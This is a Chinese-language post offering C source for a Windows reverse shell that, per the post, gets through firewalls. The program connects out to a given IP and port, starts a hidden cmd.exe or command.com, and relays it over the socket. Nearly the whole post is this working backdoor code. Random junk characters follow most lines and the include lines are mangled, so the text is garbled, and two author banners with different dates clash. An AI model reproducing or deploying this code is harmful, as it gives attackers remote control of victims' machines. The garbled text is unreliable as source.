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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +`3!I  
UK9@oCIB  
/* ============================== +P.+_7+:  
Rebound port in Windows NT ^C2\`jLMY  
By wind,2006/7 U,nEbKJgk  
===============================*/  KWLbD#  
#include X,9 M"E 2  
#include v<Bynd-  
ECv)v  
#pragma comment(lib,"wsock32.lib") l5L.5 $N  
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void OutputShell(); UH3sH t  
SOCKET sClient; >2#8B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^CwR!I.D}4  
wAnb Di{W  
void main(int argc,char **argv) !w&kyW?e  
{ zYl#4O`=c  
WSADATA stWsaData; C8F7bG8c  
int nRet; sz9L8f2  
SOCKADDR_IN stSaiClient,stSaiServer; CI3XzH\IX*  
Z7 E  
if(argc != 3) bWOS `5  
{ qzb<J=FAU  
printf("Useage:\n\rRebound DestIP DestPort\n"); Jx'i2&hGN  
return; M'_9A  
} Tw +  
q^6+!&"  
WSAStartup(MAKEWORD(2,2),&stWsaData); B]tIi^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DxJX+.9K9  
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stSaiClient.sin_family = AF_INET; @)SL_9  
stSaiClient.sin_port = htons(0); aZ\UrV4,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2t $j  
@LJpdvb  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'M3">$N  
{ ,t1abp{A  
printf("Bind Socket Failed!\n"); ou %/l4dC  
return; [s<^&WM/  
} L~s3b  
!UFfsNiXZ  
stSaiServer.sin_family = AF_INET; 8Jz:^k:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #A]-ax?Qc}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k}~O}~-  
1bGopi/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GguFo+YeZ  
{   zxp`  
printf("Connect Error!"); ^iQn'++Q  
return; t(="h6i  
} aF7nvu*N  
OutputShell(); *5xJv  
} 6Zn @2PGEl  
4b:s<$TZ  
void OutputShell() 2B,] -Mu)  
{ dx ;k`r$w  
char szBuff[1024]; ;'-olW~  
SECURITY_ATTRIBUTES stSecurityAttributes; D-,L&R!`  
OSVERSIONINFO stOsversionInfo; fryJW=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n-DVT;y  
STARTUPINFO stStartupInfo; : }`-B0  
char *szShell; -,["c9'3  
PROCESS_INFORMATION stProcessInformation; @^uH`mc  
unsigned long lBytesRead; 8uA,iYD  
]THPSw_y8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =|=.>?t6Z0  
 x]z2Z*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @BNEiOAZ#  
stSecurityAttributes.lpSecurityDescriptor = 0; p019)X|vx  
stSecurityAttributes.bInheritHandle = TRUE; r7Ya\0gU  
Gt wT  
NH0qVQ@A  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); , lJ  v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JsotOic%  
`SVmQSwO[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `)QCn<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z)uuxNv[R  
stStartupInfo.wShowWindow = SW_HIDE; 5Vi> %5A>l  
stStartupInfo.hStdInput = hReadPipe; Y[ N^p#t{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lSH6>0#B  
vVE7fq3  
GetVersionEx(&stOsversionInfo); Kt(-@\)!  
t-LG }nv  
switch(stOsversionInfo.dwPlatformId) oTT7M`P3h  
{ _sbp6ZO_  
case 1: ;*,f<  
szShell = "command.com"; not YeY7wR  
break; ~,2/JDVJ5-  
default: i<(Xr  
szShell = "cmd.exe"; Dr6A ,3B  
break; n#=o?!_4  
} mq%<6/Y U  
/x1MPP>fu  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +d|mR9^([  
asC_$tsMe  
send(sClient,szMsg,77,0); +CI1V>6^  
while(1) ?Mee 6  
{ 'FYJMIs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); owPm/F  
if(lBytesRead) z.}[m,oTF  
{ vp.ZK[/`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~.!c~fke  
send(sClient,szBuff,lBytesRead,0); )$,"u4  
} xai4pF-?  
else 2W$cFC  
{ TXZv2P9  
lBytesRead=recv(sClient,szBuff,1024,0); K5"#~\D  
if(lBytesRead<=0) break; )*:`':_a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vi$-Bw$@  
} (xq%  
} ?h1H.s2X  
}ZqW@ -  
return; ooV*I|wcI  
}
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